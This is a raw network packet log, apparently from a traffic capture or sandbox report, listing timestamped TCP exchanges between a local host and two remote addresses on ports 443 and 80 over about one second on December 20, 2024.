Dec 20, 2024 11:12:29.147308111 CET	49814	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:29.147372007 CET	443	49814	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:29.154465914 CET	49821	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:29.154483080 CET	443	49821	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:29.154556036 CET	49821	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:29.154820919 CET	49821	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:29.154828072 CET	443	49821	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:29.882982016 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.883050919 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.883089066 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.883124113 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.883126020 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:29.883162975 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:29.883162975 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:29.883178949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.883212090 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.883222103 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:29.883249044 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.883261919 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:29.883285999 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.883295059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:29.883332968 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:29.883357048 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.883394003 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.883405924 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:29.883452892 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.003271103 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.003333092 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.003412008 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.074251890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.074302912 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.074337959 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.074388981 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.078732014 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.078789949 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.078789949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.078840971 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.087022066 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.087076902 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.087100983 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.087131023 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.095410109 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.095463991 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.095477104 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.095515013 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.103565931 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.103629112 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.103773117 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.103833914 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.111917973 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.111974955 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.112067938 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.112122059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.120234013 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.120332003 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.120408058 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.128700972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.128813982 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.128895044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.137046099 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.137178898 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.137259960 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.145503044 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.145562887 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.145584106 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.145617962 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.153784037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.153841972 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.153981924 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.154038906 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.194158077 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.194227934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.266331911 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.266371012 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.266397953 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.266417027 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.268707037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.268767118 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.268825054 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.268877029 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.273634911 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.273724079 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.273811102 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.278383017 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.278419971 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.278487921 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.283374071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.283493996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.283555984 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.288429976 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.288544893 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.288600922 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.293230057 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.293370962 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.293446064 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.297960043 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.298080921 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.298157930 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.301295996 CET	49821	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:30.302758932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.302865028 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.302934885 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.307569027 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.307657957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.307733059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.312366962 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.312422037 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.312447071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.312493086 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.317150116 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.317264080 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.317322969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.321971893 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.322088003 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.322141886 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.326819897 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.326874018 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.326926947 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.330544949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.330715895 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.330766916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.334357023 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.334517002 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.334563017 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.334583998 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.338144064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.338254929 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.338304996 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.341995955 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.342032909 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.342080116 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.345932007 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.345984936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.346035004 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.349672079 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.349734068 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.349757910 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.349823952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.353447914 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.353969097 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.458281994 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.458370924 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.458440065 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.459742069 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.459799051 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.459825993 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.459875107 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.462599039 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.462635994 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.462682009 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.465635061 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.465698004 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.465698957 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.465749025 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.468548059 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.468686104 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.468746901 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.471379995 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.471535921 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.471596956 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.474268913 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.474399090 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.474459887 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.477101088 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.477161884 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.477205038 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.477255106 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.479777098 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.479912996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.479979038 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.482690096 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.482857943 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.482920885 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.485367060 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.485551119 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.485573053 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.485622883 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.488002062 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.488061905 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.488167048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.490730047 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.490829945 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.490900040 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.493412018 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.493474960 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.493555069 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.493607044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.496130943 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.496256113 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.496323109 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.498847008 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.498956919 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.499020100 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.501605034 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.501682997 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.501692057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.501734972 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.504283905 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.504429102 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.504492044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.507498980 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.507556915 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.507602930 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.507698059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.510178089 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.510324955 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.510365963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.510380030 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.513173103 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.513210058 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.513247967 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.513281107 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.515216112 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.515268087 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.515269995 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.515319109 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.518069983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.518188000 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.518244028 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.520787954 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.520863056 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.520944118 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.520991087 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.523561001 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.523611069 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.523674011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.526297092 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.526396036 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.526408911 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.526482105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.528924942 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.529015064 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.529035091 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.529094934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.531599998 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.531735897 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.531743050 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.531832933 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.534362078 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.534401894 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.534460068 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.537221909 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.537257910 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.537316084 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.537316084 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.539743900 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.539880037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.539943933 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.542526960 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.542587042 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.542668104 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.542712927 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.545238972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.545414925 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.545466900 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.547940969 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.548140049 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.548194885 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.650368929 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.650444031 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.650509119 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.651484013 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.651551008 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.651649952 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.651693106 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.653758049 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.653809071 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.653837919 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.653883934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.656063080 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.656203032 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.656260967 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.658246994 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.658381939 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.658436060 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.660474062 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.660533905 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.660584927 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.660636902 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.662636042 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.662734985 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.662786007 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.664784908 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.664845943 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.664870977 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.664916039 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.666873932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.666925907 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.666979074 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.668968916 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.669039965 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.669090986 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.671436071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.671530962 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.671592951 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.673039913 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.673185110 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.673248053 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.675031900 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.675229073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.675280094 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.677084923 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.677139044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.677170038 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.677215099 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.679100990 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.679205894 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.679255962 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.681057930 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.681121111 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.681236029 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.681281090 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.683064938 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.683176041 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.683226109 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.685054064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.685107946 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.685200930 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.685250044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.687093019 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.687210083 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.687257051 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.689104080 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.689172029 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.689241886 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.689287901 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.691083908 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.691128016 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.691170931 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.693084955 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.693137884 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.693231106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.693274975 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.695086002 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.695152998 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.695197105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.697104931 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.697155952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.697199106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.697242975 CET	49817	80	192.168.2.4	185.215.113.16
